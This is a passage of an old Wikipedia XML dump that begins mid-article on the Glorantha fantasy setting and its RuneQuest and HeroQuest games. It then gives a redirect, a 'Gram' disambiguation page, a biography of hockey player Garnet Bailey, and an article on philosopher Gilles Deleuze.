
Unlike [[Dungeons and Dragons]], the other approach to fantasy role-playing which traces its roots back to the [[1960s]] and which derives from the [[wargaming]] scene, the roots of Glorantha lie in experiments with mythology, storytelling, and recreation and blending of ancient societies. 

Stafford's first imaginings of Glorantha date back to 1966, when he began his studies at college, as a vehicle for him to deepen his own understanding of mythology by creating his own mythology, and also (so he says) as a way of getting to know girls.  Stafford was greatly influenced by the ideas on [[mythology]] of [[Joseph Campbell]], and echoes of Campbell's work are to be found in many aspects of Glorantha; for instance the story of the &quot;God Learners&quot; can be seen as an exercise on the implications of Campbells idea of a unifying [[monomyth]], and the story of Prince Argrath an exploration of Campbell's ''[[The Hero with a Thousand Faces]]''.  More abstractly, Campbell's idea that myths are how we shape our lives deeply informs the picture of life in Glorantha throughout the game world's publication history.

The first game system set in Glorantha was the board game [[White Bear and Red Moon]].  Stafford first tried to sell the game to established publishers, but despite being accepted by three different game companies, each attempt ended in failure; eventually he founded his own game company in 1974, the influential [[Chaosium]], to publish his game. The game detailed the rise of the barbarian Prince Argrath to defend his homeland of Sartar against the red tide of the civilised Lunar Empire, and filled out the area of ''Dragon Pass''; since that time the game has undergone several reissues.

The next publication was also a board game, [[Nomad Gods]], published by Chaosium in 1978, which detailed the raids and wars between the beast-riding spirit-worshipping tribes of ''Prax'', a cursed land to the east of Dragon Pass.

In 1978 the first edition of the role-playing game [[RuneQuest]] was released.  Several later editions were made; ''RuneQuest II'' in 1980, considered by some to be the apex of Gloranthan role-playing, and which introduced many sophisticated game aids, such as ''Cults of Prax'' and ''Cults of Terror'', and highly polished game scenarios, such as ''Griffin Mountain''.

In an attempt to leverage the power of a much bigger gaming company, ''RuneQuest III'' was published with [[Avalon Hill]] in [[1984]].  This edition both loosened the connection between RuneQuest and Glorantha, introducing Fantasy Europe as a game world for Rune Quest, and much broadened the scope of Glorantha treated as a possible domain of play.  Unfortunately, RuneQuest did not prosper with its association with Avalon Hill, and the relationship between Chaosium, who held the rights to Glorantha, and Avalon Hill, who held the rights to RuneQuest, finally broke down completely in 1995.  A draft of the ''RuneQuest IV'' rules was written, but never found its way to publication.

During this period of breakdown, the evolution of Glorantha did not stand still: the advent of popular use of the internet caused a boom in fan creations in Glorantha, supported by some unofficial business ventures, such as ''Reaching Moon Megacorp'', and a lively convention scene.  Loren Miller proposed his [[Maximum Game Fun]] principle as a basis for gaming, which soon became a game system in its own right, David Dunham proposed his [[PenDragon Pass]] system, a nearly freeform game system, and several ambitious [[freeform]] games were played at conventions, such as ''Home of the Bold'' with up to 80 participants.  The computer game [[King of Dragon Pass]] was released by [[A-Sharp]], allowing the player to play an Orlanthi hero who seeks to unite the clans and tribes of Dragon Pass in a kingdom; the game features exceptional depth of coverage of the world of Dragon Pass, and featured the first compelling public view of Stafford's ideas about the heroquest.  Also Stafford was at this time publishing material about the history and mythology of Glorantha in non-game form as books such as ''King of Sartar'' and ''The Glorious (Re)Ascent of Yelm''.

Today, new official material is appearing for the [[HeroQuest (role-playing game)|HeroQuest]] game system, for a short while called the ''Hero Wars'' system.  The game system, written by Robin Laws in collaboration with Greg Stafford, is radically different from RuneQuest in that it emphasises narrativist aspects of role-playing; in contrast, RuneQuest emphasised simulationist aspects.  Because of this change in approach some RuneQuest fans found it difficult to adjust to HeroQuest. However other long-term fans felt that the game fitted Glorantha far better than RuneQuest.

Another company, [[Mongoose Publishing]], has obtained rights from [[Issaries]] to publish material concerning the world of Glorantha. A new Runquest version slated for June, 2006, will incorporate new rules and new material.

==The world of Glorantha==

There are a variety of cultures in Glorantha that have strikingly different perceptions of their world, the magic that pervades it and the major events that have shaped it.  

The [[Issaries]] website [http://www.glorantha.com] introduces Glorantha as:

&lt;blockquote&gt;
&quot;Glorantha is an action-packed world of adventure. Gods and Goddesses struggle here, with nations of people nothing but their pawns. The stormy barbarians with their brutal but honest Storm God struggle against the Lunar Empire, led by the imperial Sun God and devious Moon Goddess.
&lt;br/&gt;
Glorantha is an exciting world of heroes. Legends are being made by great individuals, many who are not even human beings. Some work with the deities, other heroes and heroines fight against them.
&lt;br/&gt;
Glorantha is colorful and full of magic. Supernatural animals are found, ranging from unicorns to seven types of merfolk and the Goddess of Lions.
&lt;br/&gt;
Glorantha is immense. If explored, it has different worlds and dimensions, whole realms where Gods, spirits and sorcerous powers come from.  Unlike many fantasy settings, Glorantha emphasises [[religion]], [[Mythology|myth]] and belief to a level rarely seen in roleplaying or [[fantasy fiction]] elsewhere.
&lt;br/&gt;
Glorantha shares some [[fantasy]] tropes such as [[dwarf|dwarves]], [[elf|elves]], [[troll]]s, [[giant (mythology)|giants]], but has developed them differently to the more conventional versions based on the work of  [[J. R. R. Tolkien|Tolkien]]. [[dwarfs|Dwarves]] are literally made of stone and exist as manifest rigid inflexible laws of creation, while [[Elf|elves]] are intelligent, mobile plants. Glorantha is full of surprises.
&lt;br/&gt;
Glorantha is as deep as you want it to be, or not. Hackers and choppers have what they want, while scholars and mythologists have a vast playground of new stories, legends and myths to enjoy.&quot;
&lt;/blockquote&gt;

The world of Glorantha has various cultures analogous to [[Earth]] spread over two major landmasses and a widespread [[archipelago]]. The northern [[continent]] of [[Genertela]] has a feudal society of roughly medieval type to the west, an autocratic [[Oriental]] society to the east and a classical style bronze age culture in the center. The southern continent of [[Pamaltela]] is somewhat like [[Africa]], but with many variants.

===Creatures===
A '''Broo''' or ''Goatkin'' is a creature with the body of a man and the head of goat, or more rarely some other animal. Broos are filthy creatures, always carriers of disease - in Runequest's world of [[Glorantha]], they worship ''Malia'' the Mother of Disease in addition to their patron goddess ''Thed''. In the computer game [[King of Dragon Pass]], they are depicted as bursting out of domestic animals which have been tainted by the powers of chaos, rather than being born naturally.

==See also==
*[[King of Dragon Pass]]

==References==
* Astinus, 1998.  [http://ptgptb.org/0003/hist3.html History of Role-playing:  Part III - A golden age emerges].  
* Peter Maranci, 2001.  [http://www.maranci.net/rqpast.htm History of RuneQuest].
* Greg Stafford, 1997.  [http://www.chaosium.com/chaosium/starry-wisdom/sw1-stafford.shtml Why Chaosium is].  From ''Starry Wisdom #1''.  

==External links==
*[http://www.glorantha.com/ Glorantha.com] - [[Issaries]] website containing information abut Glorantha and [[HeroQuest]]
===Community resources===
* [http://www.lokarnos.com Lokarnos] a community portal to Glorantha, based on [[slashcode]].
* [http://www.runegate.org/whitewall/wiki WhiteWall Wiki], a community effort to describe the events of the Lunar siege of Whitewall, an Orlanthi stronghold south of Dragon Pass.
===Information about game systems based in Glorantha===
* [http://www.pensee.com/dunham/pdp.html PenDragon Pass], the rules for David Dunham's system, which puts the Gloranthan world into the [[Pendragon_RPG|Pendragon]] Arthurian role-playing system.
* [http://members.ozemail.com.au/~mrmob/mgf.htm Maximum Game Fun] rules for character generation, written up by Michael O'Brien.
* [http://lokarnos.com/article.pl?sid=05/08/10/2243211&amp;mode=nocomment Eleven Years of &quot;Maximum Game Fun&quot;] Retrospective comments by Loren Miller on the use of MGF in [[HeroQuest (role-playing game)|HeroQuest]].

[[Category:Campaign settings]]
[[Category:Fantasy worlds]]

[[fr:Glorantha]]
[[fi:Glorantha]]
[[it:Glorantha]]
[[ja:グローランサ]]</text>
    </revision>
  </page>
  <page>
    <title>Galactic Astronomy</title>
    <id>12554</id>
    <revision>
      <id>15910235</id>
      <timestamp>2002-03-12T14:01:18Z</timestamp>
      <contributor>
        <username>AstroNomer</username>
        <id>94</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Galactic astronomy]]</text>
    </revision>
  </page>
  <page>
    <title>Gram (disambiguation)</title>
    <id>12555</id>
    <revision>
      <id>41236570</id>
      <timestamp>2006-02-25T23:55:30Z</timestamp>
      <contributor>
        <username>Haukurth</username>
        <id>16226</id>
      </contributor>
      <comment>Added a king</comment>
      <text xml:space="preserve">* [[Gram]] &amp;mdash; A unit of measurement of [[mass]].
* '''Gram-force'''  See [[kilogram-force]].
* [[Gram (mythology)]] &amp;mdash; A sword in [[Norse mythology]].
* [[Gram municipality]] &amp;mdash; A municipality in [[Denmark]].
* [[Gram of Denmark]] &amp;mdash; A legendary Danish king.
* [[Gram staining]] &amp;mdash; a method of distinguishing [[bacterium|bacteria]].
* '''Gram''', from Latin ''granum'' (seed), is sometimes used to refer to [[chickpea]]s and similar plants with edible seeds.
**'''Green gram''' = [[Mung bean]]
**'''Bengal gram''' = [[Chickpea]]
**'''Red gram''' = [[Pigeon pea]]
**'''Black gram''' = [[Urd bean]]
**'''[[Horse gram]]'''
* [[Gram (Middle-earth)]] &amp;mdash; A King of [[Rohan]] from [[J. R. R. Tolkien]]'s fiction.
* [[grandmother]]
* [[Jørgen Pedersen Gram]] was a Danish mathematician and actuary.
* [[Hans Christian Gram]] was the Danish scientist who invented Gram staining (above).
* [[Zénobe Gramme]] was a Belgian electrical engineer.

{{disambig}}

[[da:Gram]]
[[de:Gram]]
[[nl:Gram (doorverwijspagina)]]
[[pl:Gram (ujednoznacznienie)]]
[[pt:Gram]]</text>
    </revision>
  </page>
  <page>
    <title>Garnet Bailey</title>
    <id>12556</id>
    <revision>
      <id>38740285</id>
      <timestamp>2006-02-08T08:24:07Z</timestamp>
      <contributor>
        <username>Canuck85</username>
        <id>511814</id>
      </contributor>
      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:GarnetBailey.jpg|thumb|Garnet &quot;Ace&quot; Bailey]] --&gt;

'''Garnet &quot;Ace&quot; Bailey''' (b. [[June 13]], [[1948]] in [[Lloydminster, Saskatchewan|Lloydminster]], [[Saskatchewan]], [[Canada]]; d. [[September 11]], [[2001]], in [[New York, New York]]), was a professional [[ice hockey|hockey]] player.  He died at age 53 in the crash of [[United Airlines Flight 175]], at the [[World Trade Center]] in New York, New York, during the [[September 11, 2001 Terrorist Attack]].

Born '''Garnet Edward Bailey''', he was a member of the [[Boston Bruins]] [[Stanley Cup]] championship teams in 1969-70 and 1971-72. He also played for the [[Detroit Red Wings]], [[St. Louis Blues (hockey)|St. Louis Blues]] and the [[Washington Capitals]] before finishing his playing career in 1978-79 with the [[Edmonton Oilers]] of the [[World Hockey Association]] where he took rookie [[Wayne Gretzky]] under his wing.

In an [[National Hockey League|NHL]] career spanning 11 years and 568 games, Bailey scored 107 goals and 171 assists with 633 penalty minutes.  In his sole [[WHA]] season, he scored 5 goals and 4 assists with 22 penalty minutes in 38 games.

At the time of his death, Bailey was living in [[Lynnfield, Massachusetts]] and was working as the director of pro scouting for the [[Los Angeles Kings]] hockey team.

==See also==
*[[List of retired NHL players]]

[[Category:1948 births|Bailey, Garnet]]
[[Category:2001 deaths|Bailey, Garnet]]
[[Category:Canadian ice hockey players|Bailey, Garnet]]
[[Category:Boston Bruins players|Bailey, Garnet]]
[[Category:Detroit Red Wings players|Bailey, Garnet]]
[[Category:People from Saskatchewan|Bailey, Garnet]]
[[Category:St. Louis Blues players|Bailey, Garnet]]
[[Category:Washington Capitals players|Bailey, Garnet]]
[[Category:Plane crash victims|Bailey, Garnet]]
[[Category:Stanley Cup Champions|Bailey, Garnet]]
[[Category:Saskatchewan sportspeople|Bailey, Garnet]]</text>
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  </page>
  <page>
    <title>Gilles Deleuze</title>
    <id>12557</id>
    <revision>
      <id>42146366</id>
      <timestamp>2006-03-04T03:07:54Z</timestamp>
      <contributor>
        <username>Canderson7</username>
        <id>202193</id>
      </contributor>
      <minor />
      <comment>rv to Lapaz, I don't think that's a word</comment>
      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:Deleuze.jpg|frame|right|Gilles Deleuze]] --&gt;

'''Gilles Deleuze''' ([[January 18]], [[1925]] - [[November 4]], [[1995]] (pron. &lt;nowiki&gt;[&lt;/nowiki&gt;[[International Phonetic Alphabet|{{IPA|ˈʒil dəˈløz}}]]&lt;nowiki&gt;]&lt;/nowiki&gt;), [[France|French]] [[philosopher]] of the late [[20th century]].  From the early 1960s until his death, Deleuze wrote many influential works on [[philosophy]], [[literature]], [[film]], and [[fine art]].  His most popular books were the two volumes of ''[[Capitalism and Schizophrenia]]'': ''[[Anti-Oedipus]]'' (1972) and ''[[A Thousand Plateaus]]'' (1980), both co-written with [[Félix Guattari]].  His books ''[[Difference and Repetition]]'' (1968) and ''The Logic of Sense'' (1969) led [[Michel Foucault]] to declare that &quot;one day, perhaps, this century will be called Deleuzian.&quot;  (Deleuze, for his part, said Foucault's comment was &quot;just a crack intended to make those people who love us laugh and to make the others rage.&quot;) 

==Life and work==
Deleuze was born in Paris and lived there for most his life. His initial schooling was undertaken during World War II, during which time he attended the Lycée Carnot.  He also spent a year in [[khâgne]] at the prestigious Henry IV school.  In 1944 Deleuze went to study at the [[University of Paris|Sorbonne]].  His teachers there included several noted specialists in the history of philosophy, such as [[Georges Canguilhem]], [[Jean Hyppolite]], [[Ferdinand Alquié]], and [[Maurice de Gandillac]], and Deleuze's lifelong interest in the canonical figures of modern philosophy owed much to these teachers.  Nonetheless, Deleuze also found the work of non-academic thinkers such as [[Jean-Paul Sartre]] strongly attractive. He [[agregation|aggregated]] in philosophy in 1948.

Deleuze taught at various lycées until 1957, when he took up a position at the Sorbonne.  In 1953, he published his first monograph, ''Empiricism and Subjectivity'', on [[Hume]].  He married Denise Paul &quot;Fanny&quot; Grandjouan in [[1956]].  From 1960 to 1964 he held a position at the Centre National de Recherche Scientifique.  During this time he published ''Nietzsche and Philosophy'' (1962) and befriended Michel Foucault.  From 1964 to 1969 he was a professor at the [[University of Lyon]].  In 1968 he published his two dissertations, ''Difference and Repetition'' and ''Expressionism in Philosophy: Spinoza''. 

In 1969 he was appointed to the University of Paris VIII at Vincennes/St. Denis, an experimental school organized to implement educational reform which drew a number of talented scholars, including [[Foucault]] (who suggested Deleuze be hired), and the psychoanalyst [[Félix Guattari]].  Deleuze taught at Vincennes until his retirement in 1987.

Deleuze suffered a severe respiratory ailment in the last decade of his life, and in [[1995]], he committed suicide, throwing himself from the window of his apartment.

==Philosophy==
Deleuze's work falls into two groups: on one hand, monographs interpreting modern philosophers ([[Spinoza]], [[Leibniz]], [[Hume]], [[Kant]], [[Nietzsche]], [[Bergson]]) and artists ([[Proust]], [[Kafka]], [[Francis Bacon %28painter%29|Francis Bacon]]); on the other, eclectic philosophical tomes organized by concept (e.g., difference, sense, events, schizophrenia, cinema, philosophy).  Regardless of topic, however, Deleuze consistently develops variations on similar ideas.  

===Deleuze's Interpretations===
Deleuze's studies of individual philosophers and artists are purposely heterodox.  In ''Nietzsche and Philosophy'', for example, Deleuze claims that Nietzsche's ''[[On the Genealogy of Morals]]'' is a systematic response to Kant's ''[[Critique of Pure Reason]]'', a claim that would strike almost anyone who has read both works as curious at best, as Nietzsche nowhere mentions the First Critique in the ''Genealogy'', and Nietzsche's moral concerns in the ''Genealogy'' are far removed from the epistemological focus of Kant's book.  Likewise, Deleuze takes Bergson, a philosopher who champions the undivided flow of experience, and reimagines his philosophy as one organized by difference and [[differentiation]].  Deleuze once famously described his method of interpreting philosophers as &quot;buggery&quot;, as sneaking behind an author and producing an offspring which is recognizably his, yet also monstrous and different.{{ref|Negotiations}}  The various monographs are best taken not as attempts to faithfully represent &quot;what Nietzsche (or whoever) meant&quot; but as articulations of Deleuze's philosophical views.  This practice -- Deleuze ventriloquizing through other thinkers -- is not willful misinterpretation so much as it is an example of the creativity that Deleuze believes philosophy should enact.  A parallel in painting might be Bacon's [http://www.usc.edu/schools/annenberg/asc/projects/comm544/library/images/762.html ''Study after Velasquez''] -- it is quite beside the point to say that Bacon &quot;gets Velasquez wrong&quot;.  (Similar considerations apply to Deleuze's uses of mathematical and scientific terms, ''pace'' [[Alan Sokal]].)

===Metaphysics===
Deleuze's main philosophical project in his early works (i.e., those prior to his collaborations with Guattari) can be baldly summarized as a systematic inversion of the traditional relationship between [[Identity (philosophy)|identity]] and [[Difference (philosophy)|difference]].  Traditionally, difference is seen as derivative from identity: e.g., to say that &quot;X is different from Y&quot; assumes some X and Y with at least relatively stable identities.  To the contrary, Deleuze claims that all identities are effects of difference, and that difference ontologically comes first.  Apparent identities such as X are composed of endless series of differences, where X = the difference between x and x', where x = ... .  Difference goes all the way down.  To say that two things are &quot;the same&quot; obscures the difference presupposed by there being two things in the first place.  To confront reality honestly, Deleuze claims, we must grasp beings exactly as they are, and concepts of identity (forms, categories, resemblances, unities of apperception, etc.) fail to attain difference in itself.

Like Kant and Bergson, Deleuze considers traditional notions of space and time as categories imposed by the [[subject (philosophy)|observer]].  Therefore he concludes that pure difference is non-spatio-temporal; it is an ideal, what he calls &quot;the virtual&quot;.  (The coinage refers not to the &quot;virtual reality&quot; of the computer age, but to Proust's definition of the past: &quot;real without being actual, ideal without being abstract.&quot;)  While Deleuze's virtual ideas superficially resemble Plato's forms and Kant's categories, they are not originals or models, nor are they abstract conditions of possible experience; instead they are the conditions of real experience, the internal difference in itself.  &quot;The concept they [the conditions] form is identical to its object.&quot;{{ref|Desert_Islands}}  A Deleuzean idea is not a wraith-like abstraction of an experienced thing, it is a real system of differential relations that creates actual spaces, times, and sensations {{ref|Dialogues}}.  

Thus Deleuze, alluding to Kant and [[Schelling]], at times refers to his philosophy as a ''transcendental empiricism''.  In Kant's [[transcendental idealism]], experience only makes sense when organized by intellectual categories (such as space, time, and causality).  Taking such intellectual concepts out of the context of experience, according to Kant, spawns seductive but senseless metaphysical beliefs.  (For example, extending the concept of causality beyond actual experience results in unverifiable speculation about a first cause.)  Deleuze inverts the Kantian arrangement: experience exceeds our concepts by presenting novelty, and this raw experience of difference is the actualization of an idea, unfettered by our prior categories. 

Simultaneously, Deleuze claims that being is univocal, i.e., that it has only one sense.  Deleuze borrows the doctrine of [[ontological univocity]] from the medieval philosopher [[John Duns Scotus]].  In medieval disputes over the nature of God, many eminent theologians and philosophers (such as [[Thomas Aquinas]]) held that when one says that &quot;God is good&quot;, God's goodness is only analogous to human goodness.  Scotus argued to the contrary that when one says that &quot;God is good&quot;, the goodness in question is the exact same sort of goodness that is meant when one says &quot;Jane is good&quot;.  That is, God only differs from us in degree, and properties such as goodness, power, reason, and so forth are univocally applied, regardless of whether one is talking about God, a man, or a flea.  

Deleuze adapts the doctrine of univocity to claim that being is, univocally, difference.  &quot;With univocity, however, it is not the differences which are and must be: it is being which is Difference, in the sense that it is said of difference.  Moreover, it is not we who are univocal in a Being which is not; it is we and our individuality which remains equivocal in and for a univocal Being.&quot;{{ref|Difference_and_Repetition}}  Here Deleuze echoes Spinoza, who maintained that everything that exists is a modification of the one [[substance]], [[God]] or [[Nature]].  For Deleuze, the one substance is an always differentiating [[process]], an origami cosmos, always folding, unfolding, refolding.  Deleuze summarizes this ontology in the paradoxical formula &quot;[[monism]] = pluralism&quot;.{{ref|A_Thousand_Plateaus}}

''Difference and Repetition'' is Deleuze's most sustained and systematic attempt to work out the details of such a metaphysics, but like ideas are expressed in his other works.  In ''Nietzsche and Philosophy'' (1962), for example, reality is a play of forces; in ''[[Anti-Oedipus]]'' (1972), a &quot;[[body without organs]]&quot;; in ''What Is Philosophy?'' (1991), a &quot;plane of immanence&quot; or &quot;chaosmos&quot;.

===Epistemology===
Deleuze's unusual metaphysics entails an equally atypical [[epistemology]], or what he calls a transformation of &quot;the image of thought&quot;.  According to Deleuze, the traditional image of thought, found in philosophers such as [[Aristotle]], [[Descartes]], and [[Husserl]], misconceives of thinking as a mostly unproblematic business. Truth may be hard to discover -- it may require  a life of pure theorizing, or rigorous computation, or systematic doubt -- but thinking is able, at least in principle, to correctly grasp facts, forms, ideas, etc.  It may be practically impossible to attain a God's-eye, [[neutral point of view]], but that is the ideal to approximate: a disinterested pursuit that results in a determinate, fixed truth; an orderly extension of common sense.  Deleuze rejects this view as papering over the metaphysical flux, instead claiming that genuine thinking is a violent confrontation with reality, an involuntary rupture of established categories.  Truth changes what we think; it alters what we think is possible.  By setting aside the assumption that thinking has a natural ability to recognize the truth, Deleuze says, we attain a &quot;thought without image&quot;, a thought always determined by problems rather than solving them.  &quot;All this, however, presupposes codes or axioms which do not result by chance, but which do not have an intrinsic rationality either.  It's just like theology: everything about it is quite rational if you accept sin, the immaculate conception, and the incarnation.  Reason is always a region carved out of the irrational -- not sheltered from the irrational at all, but traversed by it and only defined by a particular kind of relationship among irrational factors.  Underneath all reason lies delirium, and drift.&quot;{{ref|Desert_Islands_2}}  

Deleuze's peculiar readings of the history of philosophy stem from this unusual epistemological perspective.  To read a philosopher is no longer to aim at finding a single, correct interpretation, but is instead to present a philosopher's practical attempt to grapple with the problematic nature of reality.  Likewise, rather than seeing philosophy as a simple pursuit of truth, reason, or universals, Deleuze redefines philosophy as the [[Concept#Gilles Deleuze's definition of Philosophy|creation of concepts]].  For Deleuze, concepts are not solutions to problems, but constructions that define a range of thinking.  Instead of asking, &quot;is it true?&quot; or &quot;what is it?&quot;, Deleuze proposes that better questions would be &quot;what does it do?&quot; or &quot;how does it work?&quot;

===Values===
In ethics and politics, Deleuze again echoes Spinoza, albeit in a resoundingly Nietzschean key.  In a classical [[liberalism|liberal]] model of society, morality begins from individuals, who bear abstract [[natural rights]] or duties set by themselves or a God.  Following his rejection of any metaphysics based on identity, Deleuze sees the notion of an individual as an arresting or halting of differentiation (as the word &quot;individual&quot; itself suggests).  Guided by the ethical [[naturalism]] of Spinoza and Nietzsche, Deleuze instead seeks to understand individuals and their moralities as products of the organization of pre-individual desires and powers.  In the two volumes of ''Capitalism and Schizophrenia'', Deleuze and Guattari describe history as a congealing and regimentation of &quot;[[desiring-production]]&quot; (a concept combining features of [[Freud]]ian drives and [[Marxist]] [[labor (economics)|labor]]) into the modern individual (typically neurotic and repressed), the nation-state (a society of continuous control), and capitalism (an anarchy domesticated into infantilizing commodification).  Deleuze, following Marx, acknowledges capitalism's liberating destruction of traditional codes and hierarchies, but regularly inveighs against its homogenization of all values to the aims of the market.  
  
But how does Deleuze square his pessimistic diagnoses with his ethical naturalism?  Deleuze claims that standards of value are internal or &quot;immanent&quot;: to live well is to fully express one's power, to go the limits of our potential, rather than to judge what exists by transcendent standards.  The fault with modern society lies in its suppression of difference and its alienation of persons from what they can do.  We must overturn established identities and affirm reality, which is a flux of change and difference, and so become all that we can become -- though we cannot know what that is in advance.  The pinnacle of Deleuzean practice, then, is creativity.  &quot;Herein, perhaps, lies the secret: to bring into existence and not to judge.  If it is so disgusting to judge, it is not because everything is of equal value, but on the contrary because what has value can be made or distinguished only by defying judgment.  What expert judgment, in art, could ever bear on the work to come?&quot; {{ref|Critical_and_Clinical}}

== Bibliography ==
By Gilles Deleuze:
*''Empirisme et subjectivité'' (1953). Trans. ''Empiricism and Subjectivity''.
*''Nietzsche et la philosophie'' (1962). Trans. ''Nietzsche and Philosophy''.
*''La philosophie critique de Kant'' (1963). Trans.''Kant's Critical Philosophy''.
*''Proust et les signes'' (1964, 2nd ed. 1970). Trans. ''Proust and Signs''.
*''Le Bergsonisme'' (1966). Trans. ''Bergsonism''.
*''Présentation de Sacher-Masoch'' (1967). Trans. ''Masochism: Coldness and Cruelty''.
*''Différence et répétition'' (1968). Trans. ''[[Difference and Repetition]]''.
*''Spinoza et le problème de l'expression'' (1968). Trans. ''Expressionism in Philosophy: Spinoza''.
*''Logique du sens'' (1969). Trans. ''The Logic of Sense''.
*''Spinoza - Philosophie pratique'' (1970, 2nd ed. 1981). Trans. ''Spinoza: Practical Philosophy''.
*''Dialogues'' (1977, 2nd ed. 1996, with Claire Parnet). Trans. ''Dialogues''.
*''Superpositions'' (1979).
*''Francis Bacon - Logique de la sensation'' (1981). Trans. ''Francis Bacon: Logic of Sensation''.
*''Cinéma I: L'image-mouvement'' (1983). Trans. ''Cinema 1: The Movement-Image''.
*''Cinéma II: L'image-temps'' (1985). Trans. ''Cinema 2: The Time-Image''.
*''Foucault'' (1986).
*''Le pli - Leibniz et le baroque'' (1988). Trans. ''The Fold: Leibniz and the Baroque''.
*''Périclès et Verdi: La philosophie de Francois Châtelet'' (1988).
*''Pourparlers'' (1990). Trans. ''Negotiations''.
*''Critique et clinique'' (1993). Trans. ''Essays Critical and Clinical''.
*''Pure Immanence'' (2000).
*''L'île déserte et autres textes'' (2002). Trans. ''Desert Islands and Other Texts 1953-1974''.
*''Deux régimes de fous et autres textes'' (2004).

In collaboration with [[Félix Guattari]]:
*''Capitalisme et Schizophrénie 1. L'Anti-Œdipe.'' (1972). Trans. ''[[Anti-Oedipus]]'' (1977).
*''Kafka: Pour une Littérature Mineure.'' (1975). Trans. ''Kafka: Toward a Theory of Minor Literature.'' (1986).
*''Rhizome.'' (1976).
*''Nomadology: The War Machine.'' (1986).
*''Capitalisme et Schizophrénie 2. Mille Plateaux.'' (1980). Trans. ''[[A Thousand Plateaus]]'' (1987).
*''Qu'est ce que c'est la philosophie?'' (1991). Trans. ''What Is Philosophy?'' (1996).

Most of '''Deleuze's courses''' available [http://www.webdeleuze.com/php/sommaire.html here] (in French, English, Italian, Spanish, Portuguese...)

On Gilles Deleuze:
* Descombes, Vincent (1979).  ''Le Meme et L'Autre''.  Minuit.  Trans.  ''Modern French Philosophy''.  Cambridge University Press.
* Frank, Manfred (1984).  ''Was ist Neostrukturalismus?''  Suhrkamp.  Trans. ''What Is Neostructuralism?'' University of Minnesota Press.
* Hardt, Michael (1993). ''Gilles Deleuze: An Apprenticeship in Philosophy''.  University of Minnesota Press.
* Lecercle, Jean-Jacques (1985).  ''Philosophy through the Looking-Glass''.  Open Court.
* May, Todd (2005). ''Gilles Deleuze: An Introduction''.  Cambridge University Press.
* Williams, James (2003).  ''Gilles Deleuze's Difference and Repetition: A Critical Introduction and Guide''.  Edinburgh University Press.

===On Deleuze and feminism===
Some [[feminism|feminist]] theorists have sought to criticize and adapt  Deleuze's work in the context of contemporary feminist theory.  Some such texts include:

* Braidotti, Rosi (2002). ''Metamorphoses: Towards a Materialist Theory of Becoming.'' Blackwell. 
* Braidotti, Rosi (1994).  ''Nomadic Subjects: Embodiment and Sexual Difference in Contemporary Feminist Theory.'' Columbia UP.
* Braidotti, Rosi (1991).  ''Patterns of Dissonance: A Study of Women in Contemporary Philosophy.'' Trans. Elizabeth Guild.  Polity Press.
* Colebrook, Claire, ed. (2000). ''Deleuze and Feminist Theory.'' Edinburgh UP.
* Colebrook, Claire (Spring, 2000). &quot;From Radical Representations to Corporeal Becomings: The Feminist Philosophy of Lloyd, Grosz, and Gatens,&quot; in ''Hypatia'' - Volume 15, Number 2, pp. 76-93.
* Gatens, Moira (Spring 2000). &quot;Feminism as 'Password': Rethinking the 'Possible' with Spinoza and Deleuze,&quot; in ''Hypatia'' – Volume 15, Number 2, pp. 59-75
* Goulimari, Pelagia (Spring, 1999). &quot;A Minoritarian Feminism? Things to Do with Deleuze and Guattari,&quot; ''Hypatia'' – Volume 14, Number 2, pp. 97-120. 
* Grosz, Elisabeth (2005). ''Time Travels. Feminism, Nature, Power.'' Duke UP.
* Grosz, Elisabeth (1994). ''Volatile Bodies: Toward a Corporeal Feminism.'' Indiana UP.
* Grosz, Elisabeth (1994). &quot;A Thousand Tiny Sexes: Feminism and Rhizomatics,&quot; in ''Deleuze and the Theatre of Philosophy,'' ed. Constantin V. Boundas and Dorothea Olkowski. Routledge, pp. 187-210.
* Olkowski, Dorothea (1999). ''Gilles Deleuze and the Ruin of Representation.'' University of California Press. 
* Olkowski, Dorothea (1994). &quot;Nietzsche’s Dice Throw: Tragedy, Nihilism, and the Body without Organs,&quot; in ''Deleuze and the Theatre of Philosophy,'' ed. Constantin V. Boundas and Dorothea Olkowski. Routledge, pp. 119-140.

== See also ==
*[[affect (philosophy)]]
*[[concept]]
*[[deterritorialization]]
*[[percept]]
*[[rhizome]]
*[[Gilbert Simondon]]'s theory of psychic and collective [[individuation]]
*[[minority (philosophy)]]
*[[Schizoanalysis]]
*[[Plane of immanence]]

==External links==
{{wikiquote}}

*[http://www.webdeleuze.com/php/sommaire.html Webdeleuze - courses &amp; audio put on line by [[Richard Pinhas]], availables in French, English, Italian, Spanish, Portuguese, etc.]
*[http://www.mythosandlogos.com/Deleuze.html A collection of links]
*[http://www.purselipsquarejaw.org/research_design/notes/dandg.html A short summary of vital terms]
*[http://www.protevi.com/john/DG/index.html Lectures and notes on work by Deleuze and Guattari]
*[http://www.uta.edu/english/apt/d&amp;g/d&amp;gweb.html Deleuze and Guattari on the Web (UT-Arlington)]
*[http://www.langlab.wayne.edu/CStivale/D-G/index.html Web resources from Wayne University]
*[http://www.driftline.org The Deleuze and Guattari listserv]
*[http://www.egs.edu/resources/deleuze.html Biography]
*[http://www.revue-chimeres.org Website of the review 'Chimères', founded by Deleuze and Guattari]
*[http://www.lichtensteiger.de/methoden.html Das &quot;Anrennen gegen die Grenzen der Sprache&quot; - Methoden des Schreibens und Strategien des Lesens by Ralph Lichtensteiger] (Discussion transcript in German)
*For ongoing work influenced by Deleuze see [http://www.cddc.vt.edu/host/delanda/ the works of Manuel de Landa]: &quot;Intensive Science &amp; Virtual Philosophy&quot; (found under &quot;2002&quot;),  &amp;  &quot;1000 Years of Non-Linear History&quot; (&quot;1997&quot;).
*{{fr}}{{Citenews | title=Jean Ristat : entretien avec Gilles Deleuze (France-Culture, 2 juillet 1970) | org=L'Humanité | date=February 28, 2006 | url=http://www.humanite.fr/journal/2006-02-28/2006-02-28-825077}}

== Endnotes ==
#{{note|Negotiations}} ''Negotiations'', p. 9.
#{{note|Dialogues}} See &quot;The Method of Dramatization&quot; in ''Desert Islands'', and &quot;Actual and Virtual&quot; in ''Dialogues''. 
#{{note|Desert_Islands}} &quot;Bergson's Conception of Difference&quot; in ''Desert Islands'', p. 36.
#{{note|Difference_and_Repetition}} ''[[Difference and Repetition]]'', p. 39
#{{note|A_Thousand_Plateaus}} ''A Thousand Plateaus'', p. 20.
#{{note|Desert_Islands_2}} ''Desert Islands'', p. 262.
